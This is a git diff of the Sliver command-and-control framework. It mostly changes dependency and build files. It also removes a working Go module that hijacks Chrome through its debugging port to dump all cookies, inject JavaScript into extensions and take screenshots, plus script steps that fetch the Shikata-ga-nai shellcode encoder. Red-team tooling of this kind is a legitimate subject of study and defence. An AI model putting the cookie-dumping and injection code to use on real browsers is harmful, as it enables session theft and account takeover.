currentTime := time.Now().Format(time.RFC1123)
shortID := strings.Split(session.ID, "-")[0]
con.PrintEventInfof("Session %s has been updated - %v", shortID, currentTime)
echoed = true
case consts.SessionClosedEvent:
session := event.Session
@@ -229,7 +215,6 @@ func (con *SliverConsoleClient) startEventLoop() {
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
activeSession := con.ActiveTarget.GetSession()
core.GetTunnels().CloseForSession(session.ID)
core.CloseCursedProcesses(session.ID)
if activeSession != nil && activeSession.ID == session.ID {
con.ActiveTarget.Set(nil, nil)
con.PrintEventErrorf("Active session disconnected")
@@ -242,7 +227,6 @@ func (con *SliverConsoleClient) startEventLoop() {
}
con.PrintEventInfof("Removed session %s from Operator", session.Name)
}
echoed = true
case consts.BeaconRegisteredEvent:
beacon := &clientpb.Beacon{}
@@ -261,46 +245,18 @@ func (con *SliverConsoleClient) startEventLoop() {
con.PrintEventErrorf("Could not add beacon to Operator: %s", err)
}
}
echoed = true
case consts.BeaconTaskResultEvent:
con.triggerBeaconTaskCallback(event.Data)
echoed = true
}
con.triggerReactions(event)
// Only render if we echoed the event
if echoed {
con.Printf(Clearln + con.GetPrompt())
bufio.NewWriter(con.App.Stdout()).Flush()
}
con.Printf(Clearln + con.GetPrompt())
bufio.NewWriter(con.App.Stdout()).Flush()
}
}
func (con *SliverConsoleClient) CreateEventListener() (string, <-chan *clientpb.Event) {
listener := make(chan *clientpb.Event, 100)
listenerID, _ := uuid.NewV4()
con.EventListeners.Store(listenerID.String(), listener)
return listenerID.String(), listener
}
func (con *SliverConsoleClient) RemoveEventListener(listenerID string) {
value, ok := con.EventListeners.LoadAndDelete(listenerID)
if ok {
close(value.(chan *clientpb.Event))
}
}
func (con *SliverConsoleClient) triggerEventListeners(event *clientpb.Event) {
con.EventListeners.Range(func(key, value interface{}) bool {
listener := value.(chan *clientpb.Event)
listener <- event // Do not block while sending the event to the listener
return true
})
}
func (con *SliverConsoleClient) triggerReactions(event *clientpb.Event) {
reactions := core.Reactions.On(event.EventType)
if len(reactions) == 0 {
@@ -567,34 +523,6 @@ func (con *SliverConsoleClient) SpinUntil(message string, ctrl chan bool) {
go spin.Until(con.App.Stdout(), message, ctrl)
}
// FormatDateDelta - Generate formatted date string of the time delta between then and now
func (con *SliverConsoleClient) FormatDateDelta(t time.Time, includeDate bool, color bool) string {
nextTime := t.Format(time.UnixDate)
var interval string
if t.Before(time.Now()) {
if includeDate {
interval = fmt.Sprintf("%s (%s ago)", nextTime, time.Since(t).Round(time.Second))
} else {
interval = time.Since(t).Round(time.Second).String()
}
if color {
interval = fmt.Sprintf("%s%s%s", Bold+Red, interval, Normal)
}
} else {
if includeDate {
interval = fmt.Sprintf("%s (in %s)", nextTime, time.Until(t).Round(time.Second))
} else {
interval = time.Until(t).Round(time.Second).String()
}
if color {
interval = fmt.Sprintf("%s%s%s", Bold+Green, interval, Normal)
}
}
return interval
}
//
// -------------------------- [ Active Target ] --------------------------
//
+2 -24
View File
@@ -88,15 +88,6 @@ const (
// BeaconTaskResult - Beacon task completed with a result
BeaconTaskResultEvent = "beacon-taskresult"
// ExternalBuildEvent
ExternalBuildEvent = "external-build"
AcknowledgeBuildEvent = "external-acknowledge"
ExternalBuildFailedEvent = "external-build-failed"
ExternalBuildCompletedEvent = "external-build-completed"
// WireGuardNewPeer - New Wireguard peer added
WireGuardNewPeer = "wireguard-newpeer"
)
// Commands
@@ -113,7 +104,6 @@ const (
ReconfigStr = "reconfig"
PruneStr = "prune"
TasksStr = "tasks"
CancelStr = "cancel"
GenerateStr = "generate"
RegenerateStr = "regenerate"
CompilerInfoStr = "info"
@@ -233,9 +223,8 @@ const (
InteractiveStr = "interactive"
CloseStr = "close"
PortfwdStr = "portfwd"
Socks5Str = "socks5"
RportfwdStr = "rportfwd"
PortfwdStr = "portfwd"
Socks5Str = "socks5"
ReactionStr = "reaction"
@@ -247,17 +236,6 @@ const (
GetPrivsStr = "getprivs"
PreludeOperatorStr = "prelude-operator"
ConnectStr = "connect"
ShikataGaNai = "shikata-ga-nai"
Cursed = "cursed"
CursedChrome = "chrome"
CursedConsole = "console"
CursedElectron = "electron"
CursedEdge = "edge"
CursedCookies = "cookies"
BuildersStr = "builders"
)
// Groups
-92
View File
@@ -1,92 +0,0 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"net/url"
"sync"
)
var (
// SessionID -> CursedProcess
CursedProcesses = &sync.Map{}
)
type CursedProcess struct {
SessionID string
PID uint32
BindTCPPort int
PortFwd *Portfwd
Platform string
ExePath string
ChromeUserDataDir string
}
func (c *CursedProcess) DebugURL() *url.URL {
return &url.URL{
Scheme: "http",
Host: fmt.Sprintf("localhost:%d", c.BindTCPPort),
Path: "/json",
}
}
func CursedProcessBySessionID(sessionID string) []*CursedProcess {
var cursedProcesses []*CursedProcess
CursedProcesses.Range(func(key, value interface{}) bool {
cursedProcess := value.(*CursedProcess)
if cursedProcess.SessionID == sessionID {
cursedProcesses = append(cursedProcesses, cursedProcess)
}
return true
})
return cursedProcesses
}
func CloseCursedProcesses(sessionID string) {
CursedProcesses.Range(func(key, value interface{}) bool {
cursedProcess := value.(*CursedProcess)
if cursedProcess.SessionID == sessionID {
defer func() {
value, loaded := CursedProcesses.LoadAndDelete(key)
if loaded {
curse := value.(*CursedProcess)
Portfwds.Remove(curse.PortFwd.ID)
}
}()
}
return true
})
}
func CloseCursedProcessesByBindPort(sessionID string, bindPort int) {
CursedProcesses.Range(func(key, value interface{}) bool {
cursedProcess := value.(*CursedProcess)
if cursedProcess.SessionID == sessionID && cursedProcess.BindTCPPort == bindPort {
defer func() {
value, loaded := CursedProcesses.LoadAndDelete(key)
if loaded {
curse := value.(*CursedProcess)
Portfwds.Remove(curse.PortFwd.ID)
}
}()
}
return true
})
}
-24
View File
@@ -85,30 +85,6 @@ POSSIBILITY OF SUCH DAMAGE.
======================================================================================================
MIT License
Copyright (c) 2019 Ege Balcı
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
======================================================================================================
BSD 3-Clause License
Copyright (c) 2018, b4rtik
-367
View File
@@ -1,367 +0,0 @@
package overlord
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/json"
"errors"
"io"
"log"
"net/http"
"net/url"
"time"
"github.com/bishopfox/sliver/client/core"
"github.com/chromedp/cdproto/cdp"
"github.com/chromedp/cdproto/network"
"github.com/chromedp/cdproto/page"
"github.com/chromedp/cdproto/target"
"github.com/chromedp/chromedp"
)
const (
// AllURLs - All URLs permission
AllURLs = "<all_urls>"
// AllHTTP - All HTTP permission
AllHTTP = "http://*/*"
// AllHTTPS - All HTTP permission
AllHTTPS = "https://*/*"
// WebRequest - WebRequest permission
WebRequest = "webRequest"
// WebRequestBlocking - WebRequestBlocking permission
WebRequestBlocking = "webRequestBlocking"
// FetchManifestJS - Get extension manifest
FetchManifestJS = "(() => { return chrome.runtime.getManifest(); })()"
)
var (
// ErrTargetNotFound - Returned when a target cannot be found
ErrTargetNotFound = errors.New("target not found")
)
// ManifestBackground - An extension manifest file
type ManifestBackground struct {
Scripts []string `json:"scripts"`
Persistent bool `json:"persistent"`
}
// Manifest - An extension manifest file
type Manifest struct {
Name string `json:"name"`
Version string `json:"version"`
Description string `json:"description"`
ManifestVersion int `json:"manifest_version"`
Permissions []string `json:"permissions"`
Background ManifestBackground `json:"background"`
}
// ChromeDebugTarget - A single debug context object
type ChromeDebugTarget struct {
Description string `json:"description"`
DevToolsFrontendURL string `json:"devtoolsFrontendUrl"`
ID string `json:"id"`
Title string `json:"title"`
Type string `json:"type"`
URL string `json:"url"`
WebSocketDebuggerURL string `json:"webSocketDebuggerUrl"`
}
var allocCtx context.Context
func getContextOptions(userHomeDir string, platform string) []func(*chromedp.ExecAllocator) {
opts := []func(*chromedp.ExecAllocator){
chromedp.Flag("restore-last-session", true),
chromedp.UserDataDir(userHomeDir),
}
switch platform {
case "darwin":
opts = append(opts,
chromedp.Flag("headless", false),
chromedp.Flag("use-mock-keychain", false),
)
default:
opts = append(opts, chromedp.Headless)
}
opts = append(chromedp.DefaultExecAllocatorOptions[:], opts...)
return opts
}
func GetChromeContext(webSocketURL string, curse *core.CursedProcess) (context.Context, context.CancelFunc, context.CancelFunc) {
var (
cancel context.CancelFunc
)
if webSocketURL != "" {
allocCtx, cancel = chromedp.NewRemoteAllocator(context.Background(), webSocketURL)
} else {
opts := getContextOptions(curse.ChromeUserDataDir, curse.Platform)
allocCtx, cancel = chromedp.NewExecAllocator(context.Background(), opts...)
}
taskCtx, taskCancel := chromedp.NewContext(allocCtx, chromedp.WithLogf(log.Printf))
return taskCtx, taskCancel, cancel
}
func findTargetInfoByID(ctx context.Context, targetID string) *target.Info {
targets, err := chromedp.Targets(ctx)
if err != nil {
return nil
}
for _, targetInfo := range targets {
if targetInfo.TargetID.String() == targetID {
return targetInfo
}
}
return nil
}
func contains(haystack []string, needle string) bool {
set := make(map[string]struct{}, len(haystack))
for _, entry := range haystack {
set[entry] = struct{}{}
}
_, ok := set[needle]
return ok
}
func containsAll(haystack []string, needles []string) bool {
all := true
for _, needle := range needles {
if !contains(haystack, needle) {
all = false
break
}
}
return all
}
// ExecuteJS - injects a JavaScript code into a target
func ExecuteJS(ctx context.Context, string, targetID string, jsCode string) ([]byte, error) {
targetInfo := findTargetInfoByID(ctx, targetID)
if targetInfo == nil {
return nil, ErrTargetNotFound
}
extCtx, _ := chromedp.NewContext(ctx, chromedp.WithTargetID(targetInfo.TargetID))
var result []byte
evalTasks := chromedp.Tasks{
chromedp.Evaluate(jsCode, &result),
}
err := chromedp.Run(extCtx, evalTasks)
return result, err
}
// FindExtensionWithPermissions - Find an extension with a permission
func FindExtensionWithPermissions(curse *core.CursedProcess, permissions []string) (*ChromeDebugTarget, error) {
targets, err := QueryExtensionDebugTargets(curse.DebugURL().String())
if err != nil {
return nil, err
}
for _, target := range targets {
ctx, _, _ := GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, FetchManifestJS)
if err != nil {
continue
}
manifest := &Manifest{}
err = json.Unmarshal(result, manifest)
if err != nil {
continue
}
if containsAll(manifest.Permissions, permissions) {
return &target, nil
}
}
return nil, nil // No targets, no errors
}
// FindExtensionsWithPermissions - Find an extension with a permission
func FindExtensionsWithPermissions(curse *core.CursedProcess, permissions []string) ([]*ChromeDebugTarget, error) {
targets, err := QueryExtensionDebugTargets(curse.DebugURL().String())
if err != nil {
return nil, err
}
extensions := []*ChromeDebugTarget{}
for _, target := range targets {
ctx, _, _ := GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, FetchManifestJS)
if err != nil {
continue
}
manifest := &Manifest{}
err = json.Unmarshal(result, manifest)
if err != nil {
continue
}
if containsAll(manifest.Permissions, permissions) {
extensions = append(extensions, &target)
}
}
return extensions, nil
}
// QueryDebugTargets - Query debug listener using HTTP client
func QueryDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
resp, err := http.Get(debugURL)
if err != nil {
return nil, err
}
if resp.StatusCode != 200 {
return nil, errors.New("non-200 status code")
}
data, err := io.ReadAll(resp.Body)
if err != nil {
return nil, err
}
debugContexts := []ChromeDebugTarget{}
err = json.Unmarshal(data, &debugContexts)
return debugContexts, err
}
// QueryExtensionDebugTargets - Query debug listener using HTTP client for Extensions only
func QueryExtensionDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
resp, err := http.Get(debugURL)
if err != nil {
return nil, err
}
if resp.StatusCode != 200 {
return nil, errors.New("non-200 status code")
}
data, err := io.ReadAll(resp.Body)
if err != nil {
return nil, err
}
debugContexts := []ChromeDebugTarget{}
err = json.Unmarshal(data, &debugContexts)
if err != nil {
return nil, err
}
extensionContexts := []ChromeDebugTarget{}
for _, debugCtx := range debugContexts {
ctxURL, err := url.Parse(debugCtx.URL)
if err != nil {
continue
}
if ctxURL.Scheme == "chrome-extension" {
extensionContexts = append(extensionContexts, debugCtx)
}
}
return extensionContexts, nil
}
// DumpCookies - Dump all cookies from the remote debug target
func DumpCookies(curse *core.CursedProcess, webSocketURL string) ([]*network.Cookie, error) {
var cookies []*network.Cookie
var err error
dumpCookieTasks := chromedp.Tasks{
// read network values
chromedp.ActionFunc(func(ctx context.Context) error {
cookies, err = network.GetCookies().Do(ctx)
if err != nil {
return err
}
return nil
}),
}
taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
defer taskCancel()
defer cancel()
ctx, _ := chromedp.NewContext(taskCtx)
if err := chromedp.Run(ctx, dumpCookieTasks); err != nil {
return cookies, err
}
return cookies, nil
}
func SetCookie(curse *core.CursedProcess, webSocketURL string, host string, cookies ...string) (string, error) {
var res string
setCookieTasks := chromedp.Tasks{
chromedp.ActionFunc(func(ctx context.Context) error {
// create cookie expiration
expr := cdp.TimeSinceEpoch(time.Now().Add(180 * 24 * time.Hour))
// add cookies to chrome
for i := 0; i < len(cookies); i += 2 {
err := network.SetCookie(cookies[i], cookies[i+1]).
WithExpires(&expr).
WithDomain("localhost").
WithHTTPOnly(true).
Do(ctx)
if err != nil {
return err
}
}
return nil
}),
// navigate to site
// chromedp.Navigate(host),
// read the returned values
// chromedp.Text(`#result`, &res, chromedp.ByID, chromedp.NodeVisible),
}
taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
defer taskCancel()
defer cancel()
ctx, _ := chromedp.NewContext(taskCtx)
if err := chromedp.Run(ctx, setCookieTasks); err != nil {
return "", err
}
return res, nil
}
// Screenshot - Take a screenshot of a Chrome context
func Screenshot(curse *core.CursedProcess, webSocketURL string, targetID string, quality int64) ([]byte, error) {
var result []byte
screenshotTask := chromedp.Tasks{
chromedp.ActionFunc(func(ctx context.Context) error {
_, _, _, _, _, contentSize, err := page.GetLayoutMetrics().Do(ctx)
if err != nil {
return err
}
result, err = page.CaptureScreenshot().
WithQuality(quality).
WithClip(&page.Viewport{
X: contentSize.X,
Y: contentSize.Y,
Width: contentSize.Width,
Height: contentSize.Height,
Scale: 1,
}).Do(ctx)
if err != nil {
return err
}
return nil
}),
}
taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
defer taskCancel()
defer cancel()
targetInfo := findTargetInfoByID(taskCtx, targetID)
if targetInfo == nil {
return []byte{}, ErrTargetNotFound
}
ctx, _ := chromedp.NewContext(taskCtx, chromedp.WithTargetID(targetInfo.TargetID))
if err := chromedp.Run(ctx, screenshotTask); err != nil {
return nil, err
}
return result, nil
}
-2
View File
@@ -37,5 +37,3 @@ gem "wdm", "~> 0.1.0", :install_if => Gem.win_platform?
# kramdown v1, comment out this line.
gem "kramdown-parser-gfm"
gem "webrick", "~> 1.8"
+61 -43
View File
@@ -1,43 +1,62 @@
GEM
remote: https://rubygems.org/
specs:
activesupport (6.0.6.1)
activesupport (6.0.4.6)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 0.7, < 2)
minitest (~> 5.1)
tzinfo (~> 1.1)
zeitwerk (~> 2.2, >= 2.2.2)
addressable (2.8.1)
public_suffix (>= 2.0.2, < 6.0)
addressable (2.8.0)
public_suffix (>= 2.0.2, < 5.0)
coffee-script (2.4.1)
coffee-script-source
execjs
coffee-script-source (1.11.1)
colorator (1.1.0)
commonmarker (0.23.8)
concurrent-ruby (1.2.0)
commonmarker (0.23.4)
concurrent-ruby (1.1.9)
dnsruby (1.61.9)
simpleidn (~> 0.1)
em-websocket (0.5.3)
eventmachine (>= 0.12.9)
http_parser.rb (~> 0)
ethon (0.16.0)
ethon (0.15.0)
ffi (>= 1.15.0)
eventmachine (1.2.7)
execjs (2.8.1)
faraday (2.7.4)
faraday-net_http (>= 2.0, < 3.1)
faraday (1.10.0)
faraday-em_http (~> 1.0)
faraday-em_synchrony (~> 1.0)
faraday-excon (~> 1.1)
faraday-httpclient (~> 1.0)
faraday-multipart (~> 1.0)
faraday-net_http (~> 1.0)
faraday-net_http_persistent (~> 1.0)
faraday-patron (~> 1.0)
faraday-rack (~> 1.0)
faraday-retry (~> 1.0)
ruby2_keywords (>= 0.0.4)
faraday-net_http (3.0.2)
faraday-em_http (1.0.0)
faraday-em_synchrony (1.0.0)
faraday-excon (1.1.0)
faraday-httpclient (1.0.1)
faraday-multipart (1.0.3)
multipart-post (>= 1.2, < 3)
faraday-net_http (1.0.1)
faraday-net_http_persistent (1.2.0)
faraday-patron (1.0.0)
faraday-rack (1.0.0)
faraday-retry (1.0.3)
ffi (1.15.5)
forwardable-extended (2.6.0)
gemoji (3.0.1)
github-pages (228)
github-pages (225)
github-pages-health-check (= 1.17.9)
jekyll (= 3.9.3)
jekyll (= 3.9.0)
jekyll-avatar (= 0.7.0)
jekyll-coffeescript (= 1.1.1)
jekyll-commonmark-ghpages (= 0.4.0)
jekyll-commonmark-ghpages (= 0.2.0)
jekyll-default-layout (= 0.1.4)
jekyll-feed (= 0.15.1)
jekyll-gist (= 1.5.0)
@@ -69,12 +88,12 @@ GEM
jekyll-theme-time-machine (= 0.2.0)
jekyll-titles-from-headings (= 0.5.3)
jemoji (= 0.12.0)
kramdown (= 2.3.2)
kramdown (= 2.3.1)
kramdown-parser-gfm (= 1.1.0)
liquid (= 4.0.4)
liquid (= 4.0.3)
mercenary (~> 0.3)
minima (= 2.5.1)
nokogiri (>= 1.13.6, < 2.0)
nokogiri (>= 1.12.5, < 2.0)
rouge (= 3.26.0)
terminal-table (~> 1.4)
github-pages-health-check (1.17.9)
@@ -83,17 +102,17 @@ GEM
octokit (~> 4.0)
public_suffix (>= 3.0, < 5.0)
typhoeus (~> 1.3)
html-pipeline (2.14.3)
html-pipeline (2.14.0)
activesupport (>= 2)
nokogiri (>= 1.4)
http_parser.rb (0.8.0)
i18n (1.12.0)
i18n (0.9.5)
concurrent-ruby (~> 1.0)
jekyll (3.9.3)
jekyll (3.9.0)
addressable (~> 2.4)
colorator (~> 1.0)
em-websocket (~> 0.5)
i18n (>= 0.7, < 2)
i18n (~> 0.7)
jekyll-sass-converter (~> 1.0)
jekyll-watch (~> 2.0)
kramdown (>= 1.17, < 3)
@@ -109,11 +128,11 @@ GEM
coffee-script-source (~> 1.11.1)
jekyll-commonmark (1.4.0)
commonmarker (~> 0.22)
jekyll-commonmark-ghpages (0.4.0)
commonmarker (~> 0.23.7)
jekyll-commonmark-ghpages (0.2.0)
commonmarker (~> 0.23.4)
jekyll (~> 3.9.0)
jekyll-commonmark (~> 1.4.0)
rouge (>= 2.0, < 5.0)
rouge (>= 2.0, < 4.0)
jekyll-default-layout (0.1.4)
jekyll (~> 3.0)
jekyll-feed (0.15.1)
@@ -197,32 +216,33 @@ GEM
gemoji (~> 3.0)
html-pipeline (~> 2.2)
jekyll (>= 3.0, < 5.0)
kramdown (2.3.2)
kramdown (2.3.1)
rexml
kramdown-parser-gfm (1.1.0)
kramdown (~> 2.0)
liquid (4.0.4)
listen (3.8.0)
liquid (4.0.3)
listen (3.7.1)
rb-fsevent (~> 0.10, >= 0.10.3)
rb-inotify (~> 0.9, >= 0.9.10)
mercenary (0.3.6)
mini_portile2 (2.8.1)
mini_portile2 (2.8.0)
minima (2.5.1)
jekyll (>= 3.5, < 5.0)
jekyll-feed (~> 0.9)
jekyll-seo-tag (~> 2.1)
minitest (5.17.0)
nokogiri (1.14.1)
minitest (5.15.0)
multipart-post (2.1.1)
nokogiri (1.13.6)
mini_portile2 (~> 2.8.0)
racc (~> 1.4)
octokit (4.25.1)
faraday (>= 1, < 3)
sawyer (~> 0.9)
octokit (4.22.0)
faraday (>= 0.9)
sawyer (~> 0.8.0, >= 0.5.3)
pathutil (0.16.2)
forwardable-extended (~> 2.6)
public_suffix (4.0.7)
racc (1.6.2)
rb-fsevent (0.11.2)
public_suffix (4.0.6)
racc (1.6.0)
rb-fsevent (0.11.1)
rb-inotify (0.10.1)
ffi (~> 1.0)
rexml (3.2.5)
@@ -235,9 +255,9 @@ GEM
sass-listen (4.0.0)
rb-fsevent (~> 0.9, >= 0.9.4)
rb-inotify (~> 0.9, >= 0.9.7)
sawyer (0.9.2)
sawyer (0.8.2)
addressable (>= 2.3.5)
faraday (>= 0.17.3, < 3)
faraday (> 0.8, < 2.0)
simpleidn (0.2.1)
unf (~> 0.1.4)
terminal-table (1.8.0)
@@ -245,17 +265,16 @@ GEM
thread_safe (0.3.6)
typhoeus (1.4.0)
ethon (>= 0.9.0)
tzinfo (1.2.11)
tzinfo (1.2.9)
thread_safe (~> 0.1)
tzinfo-data (1.2022.7)
tzinfo-data (1.2021.5)
tzinfo (>= 1.0.0)
unf (0.1.4)
unf_ext
unf_ext (0.0.8.2)
unf_ext (0.0.8)
unicode-display_width (1.8.0)
wdm (0.1.1)
webrick (1.8.1)
zeitwerk (2.6.7)
zeitwerk (2.5.4)
PLATFORMS
ruby
@@ -268,7 +287,6 @@ DEPENDENCIES
tzinfo (~> 1.2)
tzinfo-data
wdm (~> 0.1.0)
webrick (~> 1.8)
BUNDLED WITH
2.4.6
1.17.3
-9
View File
@@ -31,15 +31,6 @@ show_downloads: true
plugins:
- jekyll-feed
plugins:
- jekyll-notion
# https://www.notion.so/sliver-sh/Sliver-4bbf1c77cabc46e09428c871283683d3?pvs=4
notion:
fetch_on_watch: true
databases:
- id: 4bbf1c77cabc46e09428c871283683d3
# Exclude from processing.
# The following items will not be processed, by default. Create a custom list
# to override the default setting.
+2 -2
View File
@@ -170,6 +170,6 @@ for USER_DIR in "${USER_DIRS[@]}"; do
if id -u $USER >/dev/null 2>&1; then
mkdir -p $USER_DIR/.sliver-client/configs
/root/sliver-server operator --name $USER --lhost localhost --save $USER_DIR/.sliver-client/configs
chown -R $USER:"$(id -gn $USER)" $USER_DIR/.sliver-client/
chown -R $USER:$USER $USER_DIR/.sliver-client/
fi
done
done
+5 -30
View File
@@ -20,12 +20,12 @@ set -e
# Creates the static go asset archives
GO_VER="1.20.1"
GARBLE_VER="1.20.2"
SGN_VER="0.0.3"
GO_VER="1.18.3"
GARBLE_VER="1.18.0"
GO_ARCH_1="amd64"
GO_ARCH_2="arm64"
GO_ARCH_3="386"
BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt SECURITY.md CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"
if ! [ -x "$(command -v curl)" ]; then
@@ -156,8 +156,8 @@ echo "-----------------------------------------------------------------"
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux-$GO_ARCH_2"
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux-$GO_ARCH_2
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe"
curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1"
@@ -165,31 +165,6 @@ curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2"
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
echo "-----------------------------------------------------------------"
echo " Shikata ga nai (ノ ゜Д゜)ノ ︵ 仕方がない"
echo "-----------------------------------------------------------------"
# Linux (amd64)
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_1.zip"
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_1.zip
# Linux (arm64)
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_2.zip"
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_2.zip
# Windows (amd64)
echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-$GO_ARCH_1.zip"
curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-$GO_ARCH_1.zip
# MacOS (amd64)
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_1.zip"
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_1.zip
# MacOS (arm64)
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip"
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip
# end
echo -e "clean up: $WORK_DIR"
rm -rf $WORK_DIR
-1
View File
@@ -149,7 +149,6 @@ else
fi
# server / generate
export GOPROXY=off
if go test -tags=server,$TAGS ./server/generate -timeout 6h ; then
:
else
+68 -73
View File
@@ -1,124 +1,119 @@
module github.com/bishopfox/sliver
go 1.18
go 1.17
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.6
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.4
require (
github.com/AlecAivazis/survey/v2 v2.3.6
github.com/AlecAivazis/survey/v2 v2.2.2
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/Ne0nd0g/go-clr v1.0.3
github.com/alecthomas/chroma v0.10.0
github.com/cheggaaa/pb/v3 v3.1.0
github.com/chromedp/cdproto v0.0.0-20230109101555-6b041c6303cc
github.com/chromedp/chromedp v0.8.7
github.com/alecthomas/chroma v0.8.1
github.com/cheggaaa/pb/v3 v3.0.5
github.com/desertbit/columnize v2.1.0+incompatible
github.com/desertbit/go-shlex v0.1.1
github.com/desertbit/grumble v1.1.1
github.com/desertbit/readline v1.5.1
github.com/fatih/color v1.14.1
github.com/gofrs/uuid v4.4.0+incompatible
github.com/fatih/color v1.12.0
github.com/gofrs/uuid v3.3.0+incompatible
github.com/google/uuid v1.3.0
